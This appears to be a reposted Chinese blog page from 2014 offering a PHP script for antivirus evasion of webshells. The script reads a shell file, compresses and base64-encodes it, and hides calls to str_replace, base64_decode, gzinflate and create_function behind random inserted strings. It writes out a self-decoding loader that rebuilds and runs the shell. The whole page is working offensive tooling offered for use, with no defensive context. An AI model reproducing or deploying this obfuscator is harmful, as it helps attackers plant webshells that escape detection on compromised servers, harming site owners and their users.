您的位置:首页 > 编程语言 > PHP开发

一个PHP加密脚本,达到一定免杀效果

2014-01-04 11:03 387 查看
<?php

/****************************************
*author: L.N.
*blog  : http://lanu.sinaapp.com
*date  : 2014.01.03
*****************************************/
$Key = "";
$YourShell = file_get_contents("1.php");
if($YourShell == null){
echo "not find content!";
}
$En_Base64 = base64_encode(gzdeflate($YourShell));
$Lm_File = fopen('lm.php',"a+");
$Lm_YourShell = Encode($En_Base64,2, &$Key);
$Lm_YourShell_Key = $Key;
fwrite($Lm_File,"<?php \n/* code by L.N. http://lanu.sinaapp.com */\n");
fwrite($Lm_File,'$co ="'.$Lm_YourShell.'";'."\n");
$Lm_Str_Replace = Encode('str_replace', 2, &$Key);
$Lm_Str_Replace_Key = $Key;
fwrite($Lm_File,'$sr = str_replace("'.$Lm_Str_Replace_Key.'","","'.$Lm_Str_Replace.'");'."\n");
$Lm_Base64_Decode = Encode('base64_decode',2, &$Key);
$Lm_Base64_Decode_Key = $Key;
fwrite($Lm_File,'$bd = $sr("'.$Lm_Base64_Decode_Key.'","","'.$Lm_Base64_Decode.'");'."\n");
$Lm_Gzinflate = Encode('gzinflate',2, &$Key);
$Lm_Gzinflate_Key = $Key;
fwrite($Lm_File,'$ge = $sr("'.$Lm_Gzinflate_Key.'","","'.$Lm_Gzinflate.'");'."\n");
$Lm_Create_Cunction = Encode('create_function',2, &$Key);
$Lm_Create_Cunction_Key = $Key;
fwrite($Lm_File,'$cc = $sr("'.$Lm_Create_Cunction_Key.'","","'.$Lm_Create_Cunction.'");'."\n");
fwrite($Lm_File,'$ex = $cc("",$ge($bd($sr("'.$Lm_YourShell_Key.'","",$co))));'."\n");
fwrite($Lm_File,'$ex();'."\n");
fwrite($Lm_File,'?>'."\n");
fclose($Lm_File);
function Encode($Str, $Key_Num, &$Key)
{
do{
$Key = RandString($Key_Num);
}while(strpos($Str, $Key) !== false);
return InsertString($Str,$Key,$Key_Num);
}

function RandString($Num)
{
$Str = 'abcdefghijklmnopqrstuvwxyz';
$Out_Str = "";
for($i=0;$i<$Num;$i++)
{
$Rand = rand(0,25);
$Out_Str .= $Str[$Rand];
}
return $Out_Str;
}
function InsertString($Str, $Key, $Key_Num)
{
$Str_Len = strlen($Str);
if(intval($Str_Len/20) >= 5)
{
$Str_Rand_Num = 20;
}
elseif(intval($Str_Len/10) >= 5)
{
$Str_Rand_Num = 10;
}
elseif(intval($Str_Len/5) >= 5)
{
$Str_Rand_Num = 5;
}
else
{
$Str_Rand_Num = 2;
}
$Arr_Str = str_split($Str, $Str_Rand_Num);
if($Key_Num > $Str_Rand_Num)
{
echo "Key_Num is not greater than Str_Rand_Num";exit;
}
for($i=1;$i<count($Arr_Str);$i++)
{
$Check_Str = $Arr_Str[$i-1] . $Key . $Arr_Str[$i];
if(strpos($Check_Str,$Key)<strlen($Arr_Str[$i-1])||strpos(strrev($Check_Str),strrev($Key))<strlen($Arr_Str[$i]))
{
continue;
}
else
{
$Arr_Str[$i-1] .= $Key;
}
}
$Out_Str = implode($Arr_Str);
return $Out_Str;
}
?>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: